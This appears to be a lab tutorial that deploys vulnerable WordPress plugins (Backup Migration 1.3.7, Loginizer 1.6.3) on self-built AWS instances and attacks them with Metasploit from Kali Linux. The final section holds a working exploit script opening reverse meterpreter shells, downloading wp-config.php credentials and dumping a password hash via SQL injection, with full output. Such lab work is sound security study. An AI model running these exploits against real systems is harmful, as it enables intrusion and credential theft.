Exploit vulnerability in a WordPress plugin with Kali Linux 2
Learn how to exploit a vulnerability in a WordPress plugin running on EC2 using Kali Linux
For the educational purposes, it may be useful to learn how to exploit a RCE and SQLi vulnerabilities in a WordPress plugin using Kali Linux.
I’m going to cover the following steps:
- Install Amazon ECS cluster and crete two EC2 instances (standalone and with Docker)
- Install Wordpress and vulnerable Wordpress plugin to ECS, Docker and standalone EC2 instance
- Create EC2 instance with Kali Linux (and install Metasploit there) - attacker machine
- Exploit vulnerabilities in a WordPress plugin using Kali Linux + Metasploit
Set necessary environment variables and download CloudFormation templates
Requirements:
Set the environment variables:
1
2
3
4
5
6
7
8
9
10
11
# export AWS_ACCESS_KEY_ID="xxxxxxxxxxxxxxxxxx"
# export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_REGION="eu-central-1"
AWS_EC2_KEY_PAIR_NAME="wordpress-test"
TMP_DIR="${TMP_DIR:-${PWD}}"
WORDPRESS_USERNAME="wordpress"
WORDPRESS_PASSWORD=$(openssl rand -base64 12)
MARIADB_WORDPRESS_DATABASE="wordpress"
MARIADB_WORDPRESS_DATABASE_USER="wordpress"
MARIADB_WORDPRESS_DATABASE_PASSWORD=$(openssl rand -base64 12)
MARIADB_ROOT_PASSWORD=$(openssl rand -base64 12)
Download the CloudFormation templates for VPC, Kali Linux, Ubuntu (Docker EC2) and AmazonLinux-2023 (standalone EC2):
1
2
3
4
5
6
7
8
# renovate: currentValue=master
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/aws-codebuild-samples/00284b828a360aa89ac635a44d84c5a748af03d3/ci_tools/vpc_cloudformation_template.yml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/amazon-ec2-nice-dcv-samples/3cb54467cf4c58bace2f949a704871f9bc0e5af5/cfn/KaliLinux-NICE-DCV.yaml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/ec2-lamp-server/c0ec2481d4995771422304b05b7b90bd701052f2/UbuntuLinux-2204-LAMP-server.yaml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/ec2-lamp-server/c0ec2481d4995771422304b05b7b90bd701052f2/AmazonLinux-2023-LAMP-server.yaml
Create a new AWS EC2 Key Pair to be used for the EC2 instances:
1
2
aws ec2 create-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}" --key-type ed25519 --query "KeyMaterial" --output text > "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"
chmod 600 "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"
Run Kali Linux on Amazon EC2 instance
Create AWS EC2 instance with Kali Linux using the CloudFormation template:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
export SOLUTION_KALI="KaliLinux-NICE-DCV"
aws cloudformation deploy --capabilities CAPABILITY_IAM \
--parameter-overrides "EnvironmentName=${SOLUTION_KALI}" \
--stack-name "${SOLUTION_KALI}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
--tags "Owner=${USER} Environment=dev Solution=${SOLUTION_KALI}"
# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_KALI}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")
eval aws cloudformation create-stack --capabilities CAPABILITY_AUTO_EXPAND CAPABILITY_IAM --on-failure DO_NOTHING \
--parameters "ParameterKey=ec2KeyPair,ParameterValue=${AWS_EC2_KEY_PAIR_NAME} ParameterKey=vpcID,ParameterValue=${AWS_VPC_ID} ParameterKey=subnetID,ParameterValue=${AWS_SUBNET_ID} ParameterKey=allowWebServerPorts,ParameterValue=HTTP-and-HTTPS" \
--stack-name "${SOLUTION_KALI}" --template-body "file://${TMP_DIR}/KaliLinux-NICE-DCV.yaml" \
--tags "Key=Owner,Value=${USER} Key=Environment,Value=dev Key=Solution,Value=${SOLUTION_KALI}"
Build EC2 instances with Wordpress Application
Let’s look at the way to build EC2 instance with vulnerable Wordpress Application.
Create new EC2 instance with Wordpress in Container
Build new Ubuntu Linux 22.04 EC2 instance:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export SOLUTION_EC2_CONTAINER="Amazon-EC2-Container"
aws cloudformation deploy \
--parameter-overrides "EnvironmentName=${SOLUTION_EC2_CONTAINER}" \
--stack-name "${SOLUTION_EC2_CONTAINER}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
--tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2_CONTAINER}"
# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_EC2_CONTAINER}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")
eval aws cloudformation deploy --capabilities CAPABILITY_IAM \
--parameter-overrides "instanceType=t4g.medium ec2Name=${SOLUTION_EC2_CONTAINER} ec2KeyPair=${AWS_EC2_KEY_PAIR_NAME} vpcID=${AWS_VPC_ID} subnetID=${AWS_SUBNET_ID} webOption=none databaseOption=none phpVersion=none" \
--stack-name "${SOLUTION_EC2_CONTAINER}" --template-file "${TMP_DIR}/AmazonLinux-2023-LAMP-server.yaml" \
--tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2_CONTAINER}"
AWS_EC2_CONTAINER_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_EC2_CONTAINER}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_CONTAINER_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'
Install Docker and Docker Compose:
1
2
3
4
5
6
7
8
9
10
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_CONTAINER_PUBLIC_IP}" << \EOF
set -euxo pipefail
sudo dnf install -qy docker
sudo usermod -aG docker ec2-user
sudo systemctl enable --now docker
sudo mkdir -p /usr/local/lib/docker/cli-plugins
sudo curl -sL https://github.com/docker/compose/releases/latest/download/docker-compose-linux-$(uname -m) -o /usr/local/lib/docker/cli-plugins/docker-compose
sudo chown root:root /usr/local/lib/docker/cli-plugins/docker-compose
sudo chmod +x /usr/local/lib/docker/cli-plugins/docker-compose
EOF
Install Wordpress in the container with vulnerable WordPress Backup Migration Plugin and Loginizer plugins:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_CONTAINER_PUBLIC_IP}" << EOF2
set -euxo pipefail
mkdir -p docker-entrypoint-init.d
cat > docker-entrypoint-init.d/wordpress_plugin_install.sh << EOF
wp plugin install backup-backup --version=1.3.7 --activate
wp plugin install loginizer --version=1.6.3 --activate
EOF
chmod a+x docker-entrypoint-init.d/wordpress_plugin_install.sh
cat > docker-compose.yml << EOF
services:
mariadb:
# renovate: datasource=docker depName=bitnami/mariadb
image: docker.io/bitnami/mariadb:11.2
volumes:
- 'mariadb_data:/bitnami/mariadb'
environment:
- ALLOW_EMPTY_PASSWORD=no
- MARIADB_USER=${MARIADB_WORDPRESS_DATABASE_USER}
- MARIADB_DATABASE=${MARIADB_WORDPRESS_DATABASE}
- MARIADB_PASSWORD=${MARIADB_WORDPRESS_DATABASE_PASSWORD}
- MARIADB_ROOT_PASSWORD=${MARIADB_ROOT_PASSWORD}
wordpress:
image: docker.io/bitnami/wordpress:6
ports:
- '80:8080'
- '443:8443'
volumes:
- 'wordpress_data:/bitnami/wordpress'
- '\${PWD}/docker-entrypoint-init.d:/docker-entrypoint-init.d'
depends_on:
- mariadb
environment:
- ALLOW_EMPTY_PASSWORD=no
- WORDPRESS_USERNAME=${WORDPRESS_USERNAME}
- WORDPRESS_PASSWORD=${WORDPRESS_PASSWORD}
- WORDPRESS_DATABASE_HOST=mariadb
- WORDPRESS_DATABASE_PORT_NUMBER=3306
- WORDPRESS_DATABASE_USER=${MARIADB_WORDPRESS_DATABASE_USER}
- WORDPRESS_DATABASE_PASSWORD=${MARIADB_WORDPRESS_DATABASE_PASSWORD}
- WORDPRESS_DATABASE_NAME=${MARIADB_WORDPRESS_DATABASE}
volumes:
mariadb_data:
driver: local
wordpress_data:
driver: local
EOF
docker compose up --quiet-pull -d
EOF2
The vulnerable plugins WordPress Backup Migration Plugin 1.3.7 and Loginizer 1.6.3 were installed.
Summarize the Wordpress URL, Admin URL, Username, and Password:
1
2
3
echo "WordPress URL: http://${AWS_EC2_CONTAINER_PUBLIC_IP}/"
echo "WordPress Admin URL: http://${AWS_EC2_CONTAINER_PUBLIC_IP}/admin"
echo -e "Username: ${WORDPRESS_USERNAME}\nPassword: ${WORDPRESS_PASSWORD}"
Create new EC2 instance with Wordpress
Build new Ubuntu Linux 22.04 EC2 instance:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
export SOLUTION_EC2="Amazon-EC2"
aws cloudformation deploy \
--parameter-overrides "EnvironmentName=${SOLUTION_EC2}" \
--stack-name "${SOLUTION_EC2}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
--tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2}"
# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_EC2}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")
eval aws cloudformation deploy --capabilities CAPABILITY_IAM \
--parameter-overrides "instanceType=t4g.medium ec2Name=${SOLUTION_EC2} ec2KeyPair=${AWS_EC2_KEY_PAIR_NAME} vpcID=${AWS_VPC_ID} subnetID=${AWS_SUBNET_ID}" \
--stack-name "${SOLUTION_EC2}" --template-file "${TMP_DIR}/AmazonLinux-2023-LAMP-server.yaml" \
--tags "Owner=${USER} Environment=dev Solution=${SOLUTION_EC2}"
AWS_EC2_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_EC2}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'
Configure MariaDB and add wordpress
user with password:
1
2
3
4
5
6
7
8
9
10
11
12
13
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_PUBLIC_IP}" << EOF2
sudo mysql --user=root << \EOF
UPDATE mysql.global_priv SET priv=json_set(priv, '$.plugin', 'mysql_native_password', '$.authentication_string', PASSWORD('${MARIADB_ROOT_PASSWORD}')) WHERE User='root';
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');
DELETE FROM mysql.global_priv WHERE User='';
DROP DATABASE IF EXISTS test;
DELETE FROM mysql.db WHERE Db='test' OR Db='test\\_%';
CREATE USER '${MARIADB_WORDPRESS_DATABASE_USER}'@'localhost' IDENTIFIED BY '${MARIADB_WORDPRESS_DATABASE_PASSWORD}';
GRANT ALL PRIVILEGES ON ${MARIADB_WORDPRESS_DATABASE}.* TO '${MARIADB_WORDPRESS_DATABASE_USER}'@'localhost';
FLUSH PRIVILEGES;
EOF
EOF2
Install Wordpress with vulnerable WordPress Backup Migration Plugin and Loginizer plugins:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "ec2-user@${AWS_EC2_PUBLIC_IP}" << EOF
set -euxo pipefail
wget -q https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp
cd /var/www/html/
wp core download --version=6.5.3
wp config create --dbname="${MARIADB_WORDPRESS_DATABASE}" --dbuser="${MARIADB_WORDPRESS_DATABASE_USER}" --dbpass="${MARIADB_WORDPRESS_DATABASE_PASSWORD}"
wp db create
wp core install --url="${AWS_EC2_PUBLIC_IP}" --title="My Blog" --admin_user="${WORDPRESS_USERNAME}" --admin_password="${WORDPRESS_PASSWORD}" --skip-email --admin_email="info@example.com"
wp plugin install backup-backup --version=1.3.7 --activate
wp plugin install loginizer --version=1.6.3 --activate
EOF
Summarize the Wordpress URL, Admin URL, Username, and Password:
1
2
3
echo "WordPress URL: http://${AWS_EC2_PUBLIC_IP}/"
echo "WordPress Admin URL: http://${AWS_EC2_PUBLIC_IP}/wp-admin/"
echo -e "Username: ${WORDPRESS_USERNAME}\nPassword: ${WORDPRESS_PASSWORD}"
Create ECS cluster with Wordpress
Prepare the wordpress_plugin_install.sh
startup script, which will be used to install the WordPress Backup Migration Plugin and Loginizer plugins during the container startup:
1
2
3
4
5
6
cd "${TMP_DIR}" || exit
cat > wordpress_plugin_install.sh << EOF
wp plugin install backup-backup --version=1.3.7 --activate
wp plugin install loginizer --version=1.6.3 --activate
EOF
chmod a+x wordpress_plugin_install.sh
Create the startup.sh
script, which will be used to populate the environment variables for bitnami/wordpress based on the WORDPRESSCLUSTER_SECRET produced by copilot:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat > startup.sh << \EOF
#!/bin/sh
# Exit if the secret wasn't populated by the ECS agent
if [ -z "${WORDPRESSCLUSTER_SECRET}" ]; then
echo "Environment variable "WORDPRESSCLUSTER_SECRET" with secrets is not populated in environment !!!"
echo 'It should look like: {"host":"mariadb","port":3306,"dbname":"wordpress","username":"wordpress","password":"password"}'
exit 1
fi
export WORDPRESS_DATABASE_HOST=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.host')
export WORDPRESS_DATABASE_PORT_NUMBER=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.port')
export WORDPRESS_DATABASE_NAME=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.dbname')
export WORDPRESS_DATABASE_USER=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.username')
export WORDPRESS_DATABASE_PASSWORD=$(echo "${WORDPRESSCLUSTER_SECRET}" | jq -r '.password')
/opt/bitnami/scripts/wordpress/entrypoint.sh /opt/bitnami/scripts/apache/run.sh
EOF
chmod a+x startup.sh
Prepare the Dockerfile
which installs jq into the Bitnami Wordpress image and uses the startup.sh
script to start the container:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat > Dockerfile << \EOF
FROM docker.io/bitnami/minideb:bookworm as installer
RUN set -eux && \
apt-get update -q && \
apt-get install curl -y -q && \
curl -sLo /usr/local/bin/jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && \
chmod a+x /usr/local/bin/jq
FROM docker.io/bitnami/wordpress:latest as app
COPY --from=installer /usr/local/bin/jq /usr/bin/jq
COPY startup.sh /opt/copilot/scripts/startup.sh
COPY wordpress_plugin_install.sh /docker-entrypoint-init.d/
ENTRYPOINT ["/bin/sh", "-c"]
CMD ["/opt/copilot/scripts/startup.sh"]
EXPOSE 8080
EOF
Initialize the backend with Copilot:
1
copilot app init wordpress --resource-tags "Owner=${USER},Environment=dev,Solution=Amazon-ECS"
Create a development environment:
1
copilot env init --name dev --default-config
Set up the required infrastructure to run our containerized application. It will now proceed to create the VPC, Public Subnets, Private Subnets, Route53 Private HostedZone for Service discovery, custom route table, Security Group for containers to talk to each other, and an ECS Cluster to group the ECS services:
1
copilot env deploy --name dev
Create a Wordpress secrets in SecureString parameters in SSM Parameter Store:
1
2
copilot secret init --name WORDPRESS_USERNAME --values "dev=${WORDPRESS_USERNAME}" --overwrite
copilot secret init --name WORDPRESS_PASSWORD --values "dev=${WORDPRESS_PASSWORD}" --overwrite
Start the Docker Desktop or Colima in case you are the Mac User:
1
colima start
Create a manifest file which defines your backend service:
1
2
copilot svc init --dockerfile Dockerfile \
--name wordpress --port 8080 --svc-type 'Load Balanced Web Service'
Add references to the secrets in the copilot/wordpress/manifest.yml
:
1
2
3
4
5
6
cat >> copilot/wordpress/manifest.yml << EOF
secrets:
WORDPRESS_USERNAME: /copilot/wordpress/dev/secrets/WORDPRESS_USERNAME
WORDPRESS_PASSWORD: /copilot/wordpress/dev/secrets/WORDPRESS_PASSWORD
EOF
Create a Aurora DB to be used by the backend service:
1
2
copilot storage init --name wordpress-cluster --lifecycle=workload \
--storage-type Aurora --engine MySQL --initial-db "${MARIADB_WORDPRESS_DATABASE}"
Deploy the backend service to the development environment:
1
copilot svc deploy --resource-tags "Owner=${USER},Environment=dev,Solution=Amazon-ECS"
Get the the details of the service:
1
2
COPILOT_PUBLIC_IP=$(copilot svc show --name wordpress --json | jq -r '.routes[].url')
copilot svc show --name wordpress
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
About
Application wordpress
Name wordpress
Type Load Balanced Web Service
Configurations
Environment Tasks CPU (vCPU) Memory (MiB) Platform Port
----------- ----- ---------- ------------ -------- ----
dev 1 0.25 512 LINUX/X86_64 8080
Routes
Environment URL
----------- ---
dev http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
Internal Service Endpoints
Endpoint Environment Type
-------- ----------- ----
wordpress:8080 dev Service Connect
wordpress.dev.wordpress.local:8080 dev Service Discovery
Variables
Name Container Environment Value
---- --------- ----------- -----
COPILOT_APPLICATION_NAME wordpress dev wordpress
COPILOT_ENVIRONMENT_NAME " " dev
COPILOT_LB_DNS " " wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
COPILOT_SERVICE_DISCOVERY_ENDPOINT " " dev.wordpress.local
COPILOT_SERVICE_NAME " " wordpress
WORDPRESSCLUSTER_SECURITY_GROUP " " sg-0877803062b02c1ac
Secrets
Name Container Environment Value From
---- --------- ----------- ----------
WORDPRESSCLUSTER_SECRET wordpress dev arn:aws:secretsmanager:eu-central-1:729560437327:secret:wordpressclusterAuroraSecre-2q9Fj1KRUkQL-VV3pqy
WORDPRESS_PASSWORD " " parameter//copilot/wordpress/dev/secrets/WORDPRESS_PASSWORD
WORDPRESS_USERNAME " " parameter//copilot/wordpress/dev/secrets/WORDPRESS_USERNAME
Summarize the Wordpress URL, Admin URL, Username and Password:
1
2
3
echo "WordPress URL: ${COPILOT_PUBLIC_IP}/"
echo "WordPress Admin URL: ${COPILOT_PUBLIC_IP}/wp-admin/"
echo -e "Username: ${WORDPRESS_USERNAME}\nPassword: ${WORDPRESS_PASSWORD}"
Handy ECS links:
- Build Efficient CI/CD Pipelines for Connected Microservices in Under an Hour Using AWS Copilot
- Wordpress on Copilot
Attack the Wordpress Application
The following part describes the usage of Metasploit Framework to exploit the vulnerability in the WordPress Backup Migration Plugin and Loginizer plugins.
The details about the Wordpress plugin vulnerabilities can be found here:
Login to the Kali Linux instance using SSH and perform the steps:
- Use
wp_backup_migration_php_filter
andwp_loginizer_log_sqli
Metasploit modules to exploit the Wordpress plugin vulnerabilities - Execute the
sysinfo
to get details about the remote system - Download the Wordpress config file
wp-config.php
which contains database credentials
Allow my user to connect to Kali Linux instance using SSH and install Metasploit:
1
2
3
4
5
6
7
8
AWS_EC2_KALI_LINUX_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_KALI}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'
scp -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}":~
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" << EOF
touch ~/.hushlogin
sudo snap install metasploit-framework
msfdb init
EOF
Run Metasploit Framework and exploit the vulnerability in all three environments (ECS, EC2 with Docker and standalone EC2 instance):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# shellcheck disable=SC2087
for PUBLIC_IP in ${COPILOT_PUBLIC_IP} ${AWS_EC2_CONTAINER_PUBLIC_IP} ${AWS_EC2_PUBLIC_IP}; do
echo "*** ${PUBLIC_IP}"
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" << EOF2
cat << EOF | msfconsole --quiet --resource -
use exploit/multi/http/wp_backup_migration_php_filter
set rhost ${PUBLIC_IP}
set lhost ${AWS_EC2_KALI_LINUX_PUBLIC_IP}
set lport 443
run --no-interact
sessions --interact 1 --meterpreter-command ps --meterpreter-command sysinfo \
--meterpreter-command "download /bitnami/wordpress/wp-config.php"
use auxiliary/scanner/http/wp_loginizer_log_sqli
set rhost ${PUBLIC_IP}
set verbose true
run
exit -y
EOF
EOF2
done
The output was shortened showing only the attack to Wordpress in Amazon ECS:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
*** http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
** Welcome to Metasploit Framework Initial Setup **
Please answer a few questions to get started.
** Metasploit Framework Initial Setup Complete **
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/kali/snap/metasploit-framework/common/.msf4/db...server starting
success
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
[*] Processing stdin for ERB directives.
resource (stdin)> use exploit/multi/http/wp_backup_migration_php_filter
[*] Using configured payload php/meterpreter/reverse_tcp
resource (stdin)> set rhost http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
rhost => http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
resource (stdin)> set lhost 18.185.154.248
lhost => 18.185.154.248
resource (stdin)> set lport 443
lport => 443
resource (stdin)> run --no-interact
[*] Exploiting target 18.158.31.183
[-] Handler failed to bind to 18.185.154.248:443:- -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 3.71.92.221
[+] Deleted Y
[+] Deleted pLqV.php
[*] Meterpreter session 1 opened (10.192.10.69:443 -> 3.71.92.221:40930) at 2024-06-01 18:18:03 +0000
[*] Session 1 created in the background.
[*] Exploiting target 18.194.82.16
[-] Handler failed to bind to 18.185.154.248:443:- -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 3.71.92.221
[+] Deleted d
[+] Deleted pLqV.php
[*] Meterpreter session 2 opened (10.192.10.69:443 -> 3.71.92.221:35022) at 2024-06-01 18:19:07 +0000
[*] Session 2 created in the background.
resource (stdin)> sessions --interact 1 --meterpreter-command ps --meterpreter-command sysinfo --meterpreter-command "download /bitnami/wordpress/wp-config.php"
[*] Running 'ps' on meterpreter session 1 (18.158.31.183)
Process List
============
PID Name User Path
--- ---- ---- ----
1 /bin/sh 1001 /bin/sh -c /opt/copilot/scripts/startup.sh
8 /bin/sh 1001 /bin/sh /opt/copilot/scripts/startup.sh
15 /managed-agents/execute-command/amazon-ssm-agent root /managed-agents/execute-command/amazon-ssm-agent
30 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
60 /managed-agents/execute-command/ssm-agent-worker root /managed-agents/execute-command/ssm-agent-worker
345 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
346 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
347 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
348 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
349 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
350 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
352 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
406 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
407 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
408 /opt/bitnami/apache/bin/httpd 1001 /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
419 sh 1001 sh -c ps ax -w -o pid,user,cmd --no-header 2>/dev/null
420 ps 1001 ps ax -w -o pid,user,cmd --no-header
[*] Running 'sysinfo' on meterpreter session 1 (18.158.31.183)
Computer : ip-10-0-0-38.eu-central-1.compute.internal
OS : Linux ip-10-0-0-38.eu-central-1.compute.internal 5.10.215-203.850.amzn2.x86_64 #1 SMP Tue Apr 23 20:32:19 UTC 2024 x86_64
Meterpreter : php/linux
[*] Running 'download /bitnami/wordpress/wp-config.php' on meterpreter session 1 (18.158.31.183)
[*] Downloading: /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
[*] Downloaded 4.28 KiB of 4.28 KiB (100.0%): /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
[*] Completed : /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
resource (stdin)> use auxiliary/scanner/http/wp_loginizer_log_sqli
resource (stdin)> set rhost http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
rhost => http://wordpr-Publi-BpPriJDxXb94-436714884.eu-central-1.elb.amazonaws.com
resource (stdin)> set verbose true
verbose => true
resource (stdin)> run
[*] Checking /wp-content/plugins/loginizer/readme.txt
[*] Found version 1.6.3 in the plugin
[+] Vulnerable version of Loginizer detected
[*] {SQLi} Executing (select group_concat(JC) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) JC from wp_users limit 1) JIVez)
[*] {SQLi} Time-based injection: expecting output of length 44
[+] wp_users
========
user_login user_pass
---------- ---------
wordpress $P$B8OjOUCRrPXm/TrVQ2/WJqUp5w7WmI.
[*] Scanned 1 of 2 hosts (50% complete)
[*] Checking /wp-content/plugins/loginizer/readme.txt
